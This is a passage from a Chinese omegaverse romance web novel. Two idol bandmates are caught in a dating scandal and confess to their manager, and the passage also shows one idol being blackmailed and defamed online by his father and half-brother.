事实上,在这么一个恋情瓜被爆出来的特殊时刻,是个人的心情也不会有多放松,然而有个念头在方柏嘉的脑海中先入为主,让他总觉得汤昼恒的目光别有深意,好像是……冲着自己而来的。 他的心跳得飞快。 “哦……哦。” 这势必是个无法安稳入睡的晚上,助理小乐也跟着他们一起来到了房间里,一起等着公司的人出现。 对方就在客厅的沙发上等待,而方柏嘉则答应了汤昼恒的邀请,进了卧室。 他再次发挥了自己作为某种灵敏的犬科动物见好就收、趋利避害的良好品德,一等汤昼恒在他身后将门关上,就立刻转身过来道: “哥哥,我向你坦白。你听我解释——” 第58章 第 58 章 哥哥,你别捉弄我了………… 所有的血液仿佛都在这一刻冲上头顶。 方柏嘉嘴比脑子还快, 不待再多细想些什么,一句话已冲出口。 被他念到的那人却慢悠悠越过他,走到卧室内的衣柜边。 两人房间相隔太远, 方柏嘉懒得天天跑,干脆将自己的一部分衣服直接用行李箱转移到了他这边。 柜体内部塞得满满当当, 汤昼恒挑挑选选,从里面拿了一套衣服出来, 面容平静地说:“我知道。” 好像方柏嘉为此翻来覆去、担惊受怕许久的大事, 对他来说都是早有准备。 “……?” 方柏嘉心里咯噔一下。 他知道什么了他就知道。 ……他什么时候知道的! 对方的反应远在方柏嘉的猜想之外, 他没有预料, 一口气哽在喉咙里, 上不去也下不来, 差点快被憋死,原本预设好的后续反应也变得毫无作用起来。 方柏嘉呆在原地半晌,猛地一个激灵, 回过神来。 走上前, 将衣服从汤昼恒手里扯下。 “哥哥!”他提高音量, “都什么时候了你还做这些。你确定……你知道我要说的是什么事吗?” 说到后面,他的声音又小下来,很委婉地发问。 言下之意, 是怕汤昼恒误解了他的意思。 汤昼恒似是笑了一下, 反过来问他:“所以你想说的是什么事?” “……” 方柏嘉停滞了一瞬:“就是,热搜上那件事。” 汤昼恒不说话,依然那么看着他,好像在鼓励他接着往下说。 方柏嘉有些迟疑了:“关于我的小号,你,你……” 汤昼恒的目光变得更加深邃。 方柏嘉就着这阵似灼热又似冷静的视线和他对视片刻, 忽然反应过来一般,大叫一声道:“哥哥你耍我!” 他又羞又怒,还有些不可置信,一下就跳起来扑在对方身上,整个人都把自己挂上去,两条腿也缠在上边,活像要和他算账。 汤昼恒稳稳当当接住他,身体向后仰了仰,低下头,嘴角含笑:“嗯,关于你小号的事,怎么了?你说的是哪一个?” 他抬起一边眉梢:“是指你在小号上天天写有关于我的‘日记’?” “——还是你一直在悄悄喊我老公?” 他每多说一句话,方柏嘉的睫毛就紧张地颤动一下。 “或者,是你这个号,五年前就跟我对过话,你就是那个选上练习生后立马弃我于不顾的……” 他果然看过了。 方柏嘉的眼睛一下睁大,慌乱地喊了声:“汤昼恒!” 突然被他提到大名,汤昼恒轻轻“嗯?”了一声,缓慢地转头看他。 表情像在说:你叫我? 方柏嘉一下又软下来,脸上露出小狗一样可怜巴巴的求饶神色:“哥哥,你别捉弄我了……” 他的脸都红了。 汤昼恒似乎也注意到了这一点,忽然伸手,四根手指的指背贴在他一边的脸颊上探了探,明知故问地轻声说:“怎么这么烫?” 真奇怪。 明明刚才下定决心要快刀斩乱麻的是他自己。可一旦汤昼恒展露出已经知情的样子,方柏嘉反而又松懈下来,甚至开始不自觉地向他撒娇。 可能是因为他也感觉到了,汤昼恒在指出这件事的时候,是没有什么生气的成分在里面的。 这一下就给了他不少的信心,方柏嘉又有点天不怕地不怕起来,犹如意识到自己犯了错也不会被主人惩罚的比格,恢复了以往的本性。 方柏嘉下意识学着对方的动作,也摸了摸自己的脸。 看汤昼恒一脸并不怎么惊讶的表情,恐怕还不是刚刚才知道的这件事。 方柏嘉的心中困惑丛生。 “你到底是……” 他正要说些什么,一阵突然的震动引起了两人的注意。 那强烈的颤音在安静的卧室里显得格外分明,一下就打断了二人原本的动作。 他们纷纷低下头,寻找声源是从哪里发出的。 “是我的在响吗?” “不对,好像是我的。” 汤昼恒从他的裤子里掏出手机。 几乎在他拿起来的一瞬间,震动就停止了。 “怎么了,谁打的电话?”方柏嘉凑过来说。 汤昼恒划开锁屏看了两眼。 “……Danny哥说他航班延误了,现在还没登机,起飞可能要等到快三点。他说等不及了,让我们现在就跟他视频。” 刚刚“闯完祸”的两人互相看了看。 尽管脑海里还有一堆疑问,也有满腹的话要说,他们依然不得不将这场谈话按下暂停,又从卧室去了客厅。 小乐给他们找出一个手机支架,两人坐在桌边,和经纪人开始了线上会议。 视频接通,能看到danny哥的身边还坐着个人,是他带来的助手。 对方似乎在机场内的宾馆定了个临时的钟点房,周边的环境很安静。 几人简单打了几声招呼,男人上来就开门见底,隔着网线对方柏嘉和汤昼恒道:“废话不多说,出了这种事,我也懒得责怪你们。现在最重要的,是看怎么解决问题。这样,你们轮流和我把各自的情况讲清楚,是和谁谈,谈了多久,对方是不是艺人,对面公司知不知情,如果后面再爆出别的,我们也可以通个气。” 话音落下,对面二人像被魔法定住了身一样,许久没有做声。 Danny哥:“?” 他差点以为自己网卡了,看了一眼手机右上角的wifi图标。 直到屏幕里的方柏嘉轻轻揉了揉鼻子。 而坐在他一旁的汤昼恒,似乎也少见地露出了一点欲言又止的表情。 Danny自以为地“恍然大悟”了。 他冷笑一声:“哦——我懂了。不好意思当着别人面说是吧,那行,方柏嘉先出去吧,找个房间待着先,我和他聊完再叫你。” Danny哥用手指了指汤昼恒的方向。 这段话说完,两人还是一动没动。 “???” 要不是手机里的方柏嘉眨了下眼,他几乎又要以为网不行了。 这俩小兔崽子要造反啊! 私下偷偷谈恋爱也就算了,事后还这么不配合,搞得跟他欠他们似的! Danny哥强忍住情绪,两根手指并起来叩了叩桌面。 以为二人是在担心自己一旦坦白,就会被公司拆散,耐着性子重复:“我再说一遍,公司过来找你们谈话,是为了解决问题,不是害你们的。你们也出道这么多年了,公司里那些被爆出谈恋爱的,你们见过谁是被经纪人强迫分开的?都是自己后边受不了心理压力分的……” 他话没说完,就见方柏嘉扭过头,像在征询意见似的,慢吞吞地和汤昼恒对视了一眼。 Danny哥看见两人这副犹豫的模样就来气,板着脸正欲发火,转回头来的汤昼恒道:“不是担心这种问题。” Alpha说着,顿了顿道:“主要是没有必要让谁出去。当事人都在这里了,就直接说吧。” “那个粉丝拍到我下楼拿外卖的那两天,来找我的是方柏嘉。他小号里提到的人也是我。情况就是这么个情况。” 脑筋还没转过来一般,Danny哥愣愣地“啊”了一声。 过了好几秒,才又:“啊?????” 一句话拖出了个山路十八弯。 方柏嘉有点忐忑和尴尬地看着他。 事情发展诡谲到令人无法立刻选择相信,有一瞬间,他们这位beta经纪人甚至在脑海中估算了片刻,这两个人有没有可能是为了整蛊他故意这么说的—— 转念一想,又知道不可能是。汤昼恒一向很正经,不会在这种场合搞怪。 况且都被爆恋爱了还开玩笑,那他们的心理素质也TM太好了。 所以就只能是真的。 “……原来你也是A同啊?”danny哥终于意识到眼下到底是个什么样的局面,没忍住在屏幕前十分丧失经纪人尊严地瞠目结舌起来。 汤昼恒淡淡地露出了一脸“你要不要听听你在说什么废话”的表情。 赵danny的心中顿时掀起惊涛骇浪。 精力旺盛的年轻人爱谈恋爱,真是再正常不过了。 虽然出道时公司明面上都说不能谈,但这毕竟是男俊女美的娱乐圈,这个年纪,又正是AO激素和各方面的指标都正活跃着的巅峰期,第二性骨子里的本能是藏不住的。 自从开始管理这个alpha男团,赵danny就知道,自己迟早要面临这个局面,运气不好的,突然多出来个孩子都有可能。 尤其他手下这两个帅得风格各异的“大将”,长成这样,不知道有多招蜂引蝶,说那个点儿,他俩要是一直没有那方面的消息,赵danny才觉得奇怪。 所以今天看到热搜上的消息时,在一瞬间短暂的揪心和绝望之后,他竟然有种一泻千里的释然。 终于还是来了。 他就知道不可能逃过。 就是一来直接两个TOP成员连爆,有点费组合。 赵danny本已做好奋斗一夜,把方柏嘉和汤昼恒的问题挨个解决的打算,现在对方又告诉他,两个问题合并成了一个。 他妈的他们居然内部解决了! 一时间真不知道是该庆幸还是觉得更棘手。 赵danny靠在椅子上思考了半晌。 不管怎么说,恋爱双方都在一个公司内,整体来说好操作多了,起码在对起口供这方面没有难度。 Danny哥很直接地问:“你俩在一起多久了?” 方柏嘉和汤昼恒再度无言地对视了须臾。 “什么意思,这也要考虑好了再告诉我吗?”经纪人眉头紧皱,“别告诉我你们刚出道就搞在一起了!” “那倒也不是。”方柏嘉窘迫道。 他该怎么和经纪人说,其实自己和汤昼恒还没有正式在一起,目前还处在就差最后一点面积就能捅破整个窗户纸的状态? 方柏嘉并不想直说他们还不是情侣,否则万一被公司抓住机会,以“反正你们都没谈,那干脆就别谈算了”的借口棒打鸳鸯,让他们以后都不能谈怎么办? 何况就两人现下的相处模式来说,其实和谈了也没什么区别。 “就……差不多两三个月。”他说着,忍不住又看了看汤昼恒。 仿佛在短暂的半秒间心有灵犀地达成了某种一致,汤昼恒同时冲他勾了勾唇角。 赵danny眯起眼睛,在屏幕那头呲牙咧嘴地“咦”了一下。 特么开个会也在这眉来眼去。 “也是,”他想了想,“就你俩粉丝那功力,谈了没多久就得发现,哪儿瞒得了那么远?” 要真的手段了得到能瞒过前面那几年,也不至于一朝这么轻易就露了馅。 汤昼恒和方柏嘉这会儿才被扒出来,估计很大程度上也是因为他们自从团活结束后待在一起的时间加起来还没超过十天。 即便是这样,也就见了两次面的功夫,二人依然被发现了。 当下值得庆幸的地方在于,虽然被爆出了谈恋爱,但外界还并不知道恋爱对象是谁。信息如果单纯只是披露到这个程度,解决起来倒不是特别麻烦。 不确定的地方在于,那几个爆料的粉丝究竟知道多少,后续会不会接着放出这方面的料。 “那个偷拍你的人,到底怎么回事?”Danny哥皱着眉问汤昼恒,“她当时就在你旁边,你没注意?怎么不拦下她?” 听到这儿,方柏嘉立刻睁大了眼睛,紧密地盯着汤昼恒看。 “……”汤昼恒脸上的表情像是在说,你以为我是什么□□吗? “她一开始打扮得像个住在楼里的其他人的助理,戴个鸭舌帽,穿得比较普通,拎着外卖袋子——我就算真怀疑她,也不可能直接盘问她吧。” “她突然拿出手机对我拍照,我有想过去追,结果她直接把手里的袋子扔给我了,单元门开着,她直接就跑了出去。” 方柏嘉有些吃惊:“发生了这种事,你怎么不告诉我?” 这话他在看到热搜的第一时间就想说,只是前面一直没找到机会。 要不是网上的消息爆了,方柏嘉甚至不知道汤昼恒还经历过这样的情况。 怪不得,那天他隐约觉得下楼回来的汤昼恒表现得和之前不大一样。 “我就算说了也起不到什么作用吧,只会搞得大家都心理紧张。”汤昼恒说,“而且后来很长一段时间,她都没在网上爆料,我就在想,会不会那个粉丝其实没有拍到照片?结果——” 他耸了耸肩。 “什么粉丝,”Danny哥没好气道,“她就是个私生。连你请了几天假、进进出出的航班都清楚,还在你休息的时候特意趴楼下蹲点,想干什么呀她?” 停了停,男人又问:“你还有被她拍到什么吗?有没有在其他地方见过这个人?” 汤昼恒想了想,迟疑着摇头:“没印象了。” 这时,danny旁边一直沉默的助手忽然将手边的电脑转过来:“看看这个。” “这是什么?”三人的注意力都转过来。 “那个在论坛发帖爆料‘草莓印’的楼主后来在晚上快八点的时候新发的一张照片。” “不过这个图在各个平台上引起的讨论没有很大,可能是因为透露出来的信息不多,我看了下评论,基本都是在说盖住的地方太多了,没法确认地点和除了当事人以外的人物,怀疑是楼主被公司收买了后发的烟雾弹,是为了后续虐粉用的……” “再加上后面很快被其他事情的热度盖过了,现在大家主要讨论的都是小号。” “把图片发给我。” “好的。” 助手操作了几下,将照片传给了经纪人,经纪人又紧接着转给了方柏嘉。 两个人脑袋凑一块儿看了下。 这一看,都有点惊讶,彼此交换了一个确认的眼神。 方柏嘉:“看来那天酒店走廊上的人也是她。” 汤昼恒“嗯”了一声。 “什么走廊上的人?”danny皱着眉头问。 “没什么,就是图片上看到的这样,那天我和柏嘉在房间门口说了会儿话,没注意到远处有人,估计她在那时候也拍了照。” 这是张乍一看会让人觉得莫名其妙的图,能瞧出来图上的两人是面对面抱在一起的姿势,但是图片的背景、两人的下半身、甚至是另一个人的脸,都被用带花纹的马赛克笔给涂掉了,只有汤昼恒的脸看起来依然清晰。 要不是这图上汤昼恒给他的感觉、包括照在人脸上的酒店走廊光有些眼熟,方柏嘉一时间还真不一定认出来。 他喃喃说:“她为什么把图p成这样?马赛克掉了我的大部分身体,但是又把你留下来了。” “说不定她真的想要钱,发这张图就是在暗示我们她有整张没p的照片,让我们迅速去联系她。”赵danny转头问身边的助手,“那几个发帖的人都私信了没,有没有回复?” 助手摇摇头:“没有。这个爆料照片的私生,我一开始就私信她了,包括她发这张图后我又问了一次,对面一直没理我。按理说这种想要钱的人,应该会直接发邮件给公司才对。” “真奇怪啊……”danny哥嘀咕,“算了,都凌晨快两点了,继续监视一下网上的舆论,有新的动向再说。飞机再过半小时也要登机了,到时候见面聊吧。小号这个,我再想想该怎么处理。” 他们又说了几句,很快挂了视频。 * 通话结束后好几秒,方柏嘉想起自己还有话没和汤昼恒说完:“哥——” 他刚张开口,就见汤昼恒冲他摇了摇头,一边抬抬下巴,指向客厅沙发的方向。 正努力将自己压缩成空气的小乐正坐在那里,看上去很忙地玩着手机。 方柏嘉立刻做了个讪讪的鬼脸。 ——差点忘了这里还有别人。 汤昼恒想了想,对小乐道:“Danny哥飞机延误了,今天晚上应该没你什么事,你也早点回去睡吧。” 方柏嘉在汤昼恒这儿住了一个星期,两人穿过的衣服,都是由这位助理帮忙送去酒店洗衣房的,对方早就知道他们的关系,闻言,见方柏嘉没有反对,很了然地告别了自己的电灯泡身份,出去了。 方柏嘉很不好意思地和他说了“再见”。 一等小乐的身影消失,他立刻转过身道:“哥哥,你到底是什么时候发现那个小号就是我的?你怎么看起来一点都不惊讶?” 汤昼恒微笑着看着他。 “好奇吗?” “……嗯。” “想知道?” “当然了。”方柏嘉撇嘴。 “那你先去洗澡,然后换睡衣。”汤昼恒说,“一直穿着这套,不会不舒服吗?” 方柏嘉“啊”了一声,突然意识到自己和汤昼恒的身上都还穿着今天录节目的服装。 他们录完后采后就径直回了酒店房间,之后一直在和经纪人视频,甚至连脸上的妆都还在,方柏嘉这快两个小时都在忙别的,竟然没有注意到这点。 他当即以最快速度去浴室冲了澡,然后换成汤昼恒进去洗。 出来后在床上等待的功夫,方柏嘉有点心烦意乱,百无聊赖地打开了一局手游,玩到快末尾的时候,横过来的手机屏上方闪过一条来电提醒。 电话号码没有备注,方柏嘉却一眼认出它属于谁。 青年按在屏幕上的手指尖抖了一下,没能及时按下技能键,顷刻间被对面的英雄打掉了快三分之一管血。 他退回塔下,盯着那来电显示,没有点接听,也没有挂断,只是一直等到它自己消失。 一局结束,方柏嘉没有心思再玩。退出游戏界面,对着手机桌面发呆。 电话又来了。 方柏嘉沉默一会儿,还是划到了绿色的接听键那一边。 电话接通了。 对面先是安静了两秒,随后,一道属于四五十岁中年男人的声音从听筒里传了出来。 “我在热搜上看见你的事了。” 对方的鼻腔似乎在呼哧呼哧喘着气,不知道是因为激动还是什么。 方柏嘉没说话。 那人又接着道:“给我卡里打一千万,不然我就像之前那样,在网上曝光你。” 短短一句话,展现出来的威胁意味却很准确。 “你是不是有病啊方旭尧!”方柏嘉一下爆发了。 他不可思议地从床上坐起来:“年初的时候不是才给过你两百万?” “不够。”电话那头的方旭尧说。 方柏嘉冷笑一声:“你们家还真是一群吞金兽。” “我知道你这些年当大明星挣了很多钱。”方旭尧像是没听到他的话一般,嗓音平平地说,“这点钱对你来说不算什么,家里养你到这么大,你不会这都不给吧?” “那他妈都是我赚的,关你什么事?”方柏嘉道,“我的钱一分一毛我都不想给你——” 方旭尧:“所以你不怕我在网上说你那些事了?” “……”方柏嘉深吸一口气,靠回床上。 “没钱。”他烦躁地扯着被套道,“我又不是超级富豪,手上哪来这么多现金。你不会觉得明星赚了钱都存在支付宝里吧?” 方旭尧似乎思考了一下:“那五百万也行。” “呵。”方柏嘉冷笑一声,“我发现你是越老越不要脸了。” “一千万是吧?五百万是吧?你做梦去好了。” “你有本事就曝。”方柏嘉不耐烦地说,“我看你能曝出什么来。” 第59章 第 59 章 方舟批疑似陷入癫狂。 国内已经到了凌晨的时候, 大洋彼岸的某个国家依然是下午。 上着水课的方文宣正百无聊赖地玩着手机,忽然听见坐在斜前方的两名国人女生情绪异常激动地在聊着什么“热搜”“谈恋爱了”“alpha”…… 方文宣在一堆语速飞快的词汇里捕捉到“方柏嘉”这三个字,浑身一个机灵, 立刻打开微博看了起来。 这一看,没忍住幸灾乐祸地笑了。 他和这个同父异母的“兄长”, 其实总共加起来没见过多少面。 方文宣出生的时候,方柏嘉也还在上小学, 被方旭尧打发到隔壁津城的亲戚家住。 两城之间离得近, 头几年方柏嘉每个月都有一两次会坐车来父亲家看看。 郭洁玉极度讨厌这个方旭尧前妻的儿子, 私下里一直向方文宣灌输方柏嘉是来跟你争家产的, 你是beta他是alpha, 咱们父子俩得一条心把他赶走之类的理念。 方文宣牢牢记住了这些话, 隔三差五就在郭洁玉的教导下对方柏嘉表现出不满意,这次说自己有个游戏机不见了,下次说方柏嘉抢他零食吃。 没多久, 那个人就再也没来过了。 只有逢年过节会过来待上半天, 也是不到过夜就走。 方文宣从前对他最大的印象, 就是偶尔来一次时坐在桌子一角,沉默着不敢多夹菜的身影。 小孩嘛,总有那么一点微妙的恶意。郭洁玉不喜欢方柏嘉, 方文宣自然也继承了那种面对方柏嘉时的高傲。你是alpha又怎样?长得再好看又怎样?还不是一个来我家都要被施舍的可怜虫。 这样的优越感却在后来被击碎了。 被送出国读高中前, 方文宣觉得自己家里很有钱。到了外边才知道,这边拿着家里给的几百万几千万出来享受生活的富家千金公子多得是。 方文宣被富贵迷了眼,攀比心上来了,从此一发不可收拾,租豪华公寓、买名牌衣服名牌鞋、为了装逼买二手豪车,中间把卡刷爆过无数次, 还几次撒谎用各种朋友骗钱、自己生病之类的借口找方旭尧要钱。 等家里察觉到的那会儿,他已经超前消费了快两百万了。 方旭尧把他大骂一通,方文宣心里很不服气。 家里明明不是没钱,反正以后的财产都是自己的,给他花一下怎么了。 于是依然屡教不改,家里不给他钱,他就到处找同学借,到了最后,又去国外的贷款平台上借钱。本以为自己不管怎么作,家里都会给他兜底,方旭尧嘴上骂归骂,最后不还是要乖乖掏钱。 ——结果却得知了方旭尧失业外加炒股投资失败,亏了四百多万块钱的事。 两边的欠款加在一起,变成家庭的重担,方旭尧不得不拉下面子去找方柏嘉要钱。 现在他们家几乎都依赖那人打来的钱周转生活,但这不妨碍方文宣依然讨厌他。 当初得知对方出道成了大明星,方文宣更是恨得牙都快要咬碎。 凭什么他一个在家根本不受宠的倒霉鬼到最后要什么有什么,自己在国外连想花点钱都缩手缩脚。 身份上的天壤之别和地位对调让方文宣产生出巨大的愤怒与不甘。 他甚至专门注册了一个小号,就为了在网上骂一骂方柏嘉,和那些讨厌他的黑粉一起说他的坏话。 现在看到他出事了,方文宣不知道有多痛快,顿时连课都懒得听了,津津有味地打开网站吃起了瓜。 一等下课,立刻又打电话把这个消息告知给远在国内的父母。 看得不尽兴,方文宣干脆自己披上小号,专门在那种人很多的评论区里留言。 【方柏嘉这个人我认识,xx中学的,上学时私生活就很混乱,和街上一些相同年纪不上学的混混alpha不三不四,逃课去和人家玩,当时还觉得奇怪,现在想想,估计他后来自己退学不念书了,也是因为受到这帮混混的鼓舞吧?】 有人在下面说他造谣,方文宣就回复: 【有本事你去打听打听,方柏嘉是不是在津城念高中的时候经常旷课,老师都找到家里无数次了。看样子你不知道吧,他爸都亲自上网锤过他,可惜公关手段太厉害,现在已经没几个人知道喽。】 发完这些,方文宣心脏砰砰跳得飞快,有种做贼一般的心虚。 好多条点赞、私信、评论同时朝他这个账号内涌入,有方柏嘉的粉丝在骂他,也有同样讨厌对方的人在附和。 突然间,一条与众不同的私信映入他的眼帘—— * …… 方柏嘉说完那句话,迅速地挂掉了电话。 他盯着漆黑的手机屏幕看了一会儿,那人果然又打了过来。 他暗嗤一声,这回接起得十分干脆。 电话那头传来方旭尧怒不可遏的声音:“你弟弟在国外贷款欠了一堆钱!现在家里的情况你又不是不知道,如果不是实在没有办法,你以为我想这么低声下气跟你说话?” “他欠钱,跟我有关系吗?”方柏嘉冷冷地反唇相讥,“自己养出来的废物怪谁?” 他刚想挂断,想了想又继续道: “方旭尧,人的忍耐是有限度的,从你第一次伸手跟我要钱的时候你就该知道,我会有受不了的一天。趁火打劫不是这么做的,把我名声搞臭了,你觉得你就能拿到钱?那你试试。” 说完,他直接把手机关机。 “……你!”方旭尧还想说些什么,然而听筒里的声音已经断了。 他放下手机,重重地叹了口气。 现任妻子郭洁玉凑上来问他:“怎么,他不肯给?” 方旭尧没好气地看了他一眼:“都跟你说了,不能一次性跟他要这么多钱,你还非让我要,现在好了吧,彻底闹僵了。” “你这是什么话啊!”郭洁玉推搡了他一把,“合着还都是我的错了?是我把你炒鱿鱼、是我让你炒股亏那么多钱的吗?我不也是看在家里现在缺钱——那你说,还有什么方法能快速搞来那么多钱,填上这笔窟窿?” 方旭尧:“那也不是我让你儿子在国外乱花钱、借高利贷的!” “方旭尧你什么意思!”郭洁玉一听,顿时也火了,“什么叫‘我儿子’?合着宣宣不是你孩子是吧?” 郭洁玉冷笑一声,怪里怪气道:“我懂,你就是觉得alpha才配当你儿子,看不起beta。你自己都忘了吧?当初口口声声说自己以后没有这个儿子,他出去混社会被人打断腿也不管。现在呢?看人家当上大明星了,会赚钱了,你就又想把人家认回来了。你还记不记得他对你儿子做过什么?” “你以为你这些小心思我不懂吗?你就是偏心你和前妻生的那个儿子,要不是他走歪了路,你说不定还宝贝着呢。” “宣宣是花了很多钱,可你也不想想,他那么小年纪去了国外一个人读书,心里得有多害怕?他一个beta,又融不进那些AO里边,为了合群,不得多花很多心思?他那么做是为了什么?” “好好,”方旭尧见他开始抹泪,连忙抱着他安慰,“我没有说我要认回他,我也没有怪宣宣啊,这不是在想办法吗?关键他不肯给——” 郭洁玉抹泪的动作顿时一停:“我就不信你这个儿子真的拿不出一千万。你知道当明星有多赚钱吗?就拿那次来说,他嘴上跟你讲没钱,知道你手上有他的把柄,转头不是还把剩下几百万打给你了?就是唬你而已,让你觉得他没什么钱,以后也好跟你讲条件。” “那现在怎么办?”方旭尧说,“他说了让我随便爆,摆明了不管我了,我再去做那些还有用吗?” 郭洁玉冷笑:“你也就听他那么一说,当明星的最在乎声誉。出了丑闻,肯定会对事业有影响,他就是在赌你不敢。他要是真觉得无所谓,当初为什么要答应你,这些年又为什么陆陆续续给咱们家钱?还不是害怕把他的工作给搞黄了。” “你就照之前那么来,但这回得换个说法,要比上次还严重,严重到他不得不拿着钱来求你删帖,我想想……” 郭洁玉看着手机,忽然一愣,推了推身旁的男人:“宣宣给我发消息了,说要介绍一个人给我们认识。” 原来,方文宣在私信里遇到的是某某公司的人。 对方问了方文宣一些为什么这么了解方柏嘉的情况、还没有别的料可以爆之类的问题,说想和他加个微信深聊。 方文宣一下就来了精神,猜到这估计是方柏嘉公司的对家,却也不敢多说,只道自己是方柏嘉他们家在当地的亲戚,知道一些内情,可以把方柏嘉家里人的微信给他。 于是转手把那人的明信片推到了父母这边。 郭洁玉试探着说:“你看……?” * 汤昼恒从浴室里出来,看见的就是蔫兮兮缩在被窝里、把自己裹成一团的方柏嘉。 房间里只开了侧面一排壁灯,灯光很暗。汤昼恒远远看不清他的表情,还以为方柏嘉睡着了,就着昏暗的光线走到床边,才发现对方眼睛是睁着的。 方柏嘉看见他过来了,裹着整个被子向后蠕动了两下,为他腾出空位。 手机老远地被他甩在一边,屏幕倒扣向下,是个差点要掉到床下的危险位置。 汤昼恒将电子设备拿起来,放到一旁的床头柜上,隐约从方柏嘉的姿势中察觉到一些抵抗情绪,仿佛整个人被一层淡淡的低气压所笼罩。 明明他进去之前都还好好的。 汤昼恒微微一怔,感受出他莫名的低落,坐在床边道:“怎么了,不高兴?” 方柏嘉很快地摇摇头,把下半张脸埋进被子里。 “……”反应得这么快,反而不像真的。 汤昼恒试着扯了扯方柏嘉身上那一层盔甲般的被子—— 没扯动。 方柏嘉仿佛自己家要被拆了似的,在里面紧紧拽着被子边不动,是一个具有防御性的动作。 “什么意思?”汤昼恒轻轻挑了挑眉,“这里就一张被子,你还一个人独占了不让我用?” 听他这么一说,方柏嘉才松开手,像个主动张开嘴巴的温吞蚌壳,把被子的另一半让给了他。 汤昼恒顺势掀开被子靠近进去,将方柏嘉搂进怀里:“发生什么了。” 他低头看他。 方柏嘉软趴趴又无精打采地靠着自己,整个人的身体比他矮下去一截,从汤昼恒的视角望去,能看见他从面中处挺拔而起的细窄鼻梁。 方柏嘉的眼裂长长的,末端纤长的睫毛像刷子似的散开:“没什么。” 他把搭在两人腰间的被子边缘往上提了提,不敢和汤昼恒对视,欲盖弥彰地将脸贴在他胸口的侧面,闷闷地说:“就是今天晚上的事搞得我有点……郁闷。” 这么说也不算假话。 是个人都会在意别人对自己的评价、自身的声誉,只不过他们是明星,在这方面已经习惯了,看得多了,就有些麻木。 和danny哥视频通话的时候,方柏嘉都还有种很不真实的感觉,身体还在正常运行,仍和往常一样说话、走路,脑子却没反应过来。 直到走进浴室,慢慢开始清洗掉这一天带来的疲惫,方柏嘉才惊觉自己的心脏一直跳得很快。 原来他不是一点慌乱和后怕都没有,只不过这些反应都延后了。 这种感觉在接到方旭尧那通电话后提升到了顶点。 胸口很闷,还有点想吐。 心脏在胸膛中横冲直撞,好像一下就把方柏嘉拉回三年前的那个晚上。 …… 那是unforbidem出道刚一年的时候。 彼时的组合已经很有些名气,在同期其他团体里没有打不赢的对手,可以说是前途无限的上升期。 方旭尧一个从来不关心娱乐圈的人,也不知道从谁那里听说了方柏嘉顺利出道后还还挺火的消息,一通电话打到他这里来,张口向方柏嘉要一百万。 说如果他不这么做,就要到网上曝光他拒绝支付父母的赡养费。 方柏嘉思考再三,同意了。 父母离婚之后,他确实一直跟着方旭尧长大,虽说生活质量也就那样,但也不能说对方没有抚养他。 事情真闹到网上,很难掰扯清楚,吃亏的人只会是他这个公众人物。 就当和方旭尧做个了断。他想,这笔钱支付出去,自己以后也可以堂堂正正说他不欠对方的了。 方柏嘉刚出道没多久,说是看起来挺火,但其实成员们还处于“还债”阶段,要把公司之前投资在他身上的钱先还回去,然后才有盈利,剩下的收入还要和公司分成、活动打款也有滞后,真正到他手里的没那么多。 这一下几乎掏空了他那会儿的所有口袋。 给钱时方柏嘉再三跟对方强调,收到钱后就断了联系,以后也别来找他,方旭尧也确实安分了大半年。 就在方柏嘉以为这件事已经过去了的时候,方旭尧却再度出现,这回跟他要的是两百万。 方柏嘉一开始根本就不想答应。 明明都说好了给他一百万,从此前尘往事一笔勾销,这人凭什么中途变卦? 于是也像这次一样说了不给。 方柏嘉自认上次打给对方的钱早就是方旭尧从小到大花在他身上的N倍,自己问心无愧。方旭尧想和他在网上掰扯,那就掰吧,谅他也说不出什么来。 事实证明,他完全低估了一个人可以没下限到什么程度。 隔几天晚上,方旭尧就在网上发了帖。帖子里他不仅控诉了亲生儿子火了之后就和家里断绝联系这类方柏嘉早就猜到的话题,竟然还添油加醋地描写了一些其他的内容。 比如: 【方柏嘉是自己和前妻的儿子,方旭尧和第二任妻子结婚后,生下了第二个小孩,方柏嘉因此心生妒忌,有一次竟然趁两个屋主不在,故意把当时才只有几岁大的弟弟从高处推下来,让他摔得头破血流,去医院缝了四五针才好,此外,还有一些手脚不干净的习惯,经常小偷小摸顺走家里的东西。帖主没有办法,只好将他寄养在亲戚家。 到了上中学的年纪,因为缺乏管教,方柏嘉屡屡逃学旷课打架,抽烟喝酒谈恋爱什么都来,学习成绩一落千丈,寄养的亲戚都抱怨学校老师三天两头要和他打电话约谈。 周末应该回家的时候,更是连人影都见不着,不知道在哪鬼混。花钱大手大脚,一个月给2000生活费都不够,竟然还觉得家里苛待了他,要出去打工。据说还偷了亲戚家里的一千多块钱。 高二那年,方柏嘉读不进去书,放着家里的好日子不过,死活非要辍学出去打工混社会,不管家里人怎么劝说都不管用。帖主看他怎么都教不好,终于放弃随他去了,从此以后再也没有联系。 一转眼两年过去,帖主惊闻方柏嘉混娱乐圈出了名,家里也有困难,希望他看在昔日抚育之恩的面子上,将他们之前花在他身上的抚养费都还回来。 因为帖主本人多次联系方柏嘉、试图让其支付赡养费未果,无奈之下,故而只能上网发帖,希望方柏嘉看到可以和他联络。】 底下附了几张“证据”,分别是小儿子的病历单和受伤图片,自己和方柏嘉的亲子关系证明,写有方柏嘉名字的旷课处分单。 帖子一出,没几个小时就迅速发酵起来。 方柏嘉看到,又惊又怒,当时就给方旭尧拨去通话,质问他为什么要这样。 但其实心里明白,对方的目的已经达到了。 这条帖子的主题看似是在控诉方柏嘉不给赡养费,其实多数篇幅都在给他身上泼脏水,尝试给他竖立一个各方面都low到极点的形象。 因为方旭尧是方柏嘉父亲的这个身份,大家先入为主地会先选择相信对方的话,再加上那么几个似是而非的证据,哪怕并没有直接关联证明方柏嘉做过那些事,网友也会潜意识觉得“他能把这些放出来,多半是真的”。 上网吃瓜不需要门槛,也多得是只要发现有热闹可瞧,二话不说连信息真伪都懒得辨认就到处传播的乐子人。 更别提像方柏嘉这种彼时已经很有人气、但性格又“独树一帜”的偶像,看他不顺眼的对家上家下家多得是,但凡出现一点不好的消息,都会引来无数人的围观加扩散。 方柏嘉十七岁就一个人去了首都,方旭尧说的那些莫须有的事,他上哪去给自己找“证据”反驳? 即便真的一条一条回应,也会有人说他口说无凭。 方旭尧此举,摆明了在跟他说,只要他想,总有办法可以让方柏嘉不安生,方柏嘉只能花钱买清净。 他们组合还正在上升期,这件事一旦扩散出去,会对他自己、乃至团队造成怎样的影响……方柏嘉不敢想。 当时的他出道不到两年,是个十九岁生日才过没多久的年纪,哪里见过这种阵仗。 方柏嘉一下就慌了神,只是凭着直觉觉得不能连累到其他人,更不敢告诉公司,咬着牙答应方旭尧的请求。 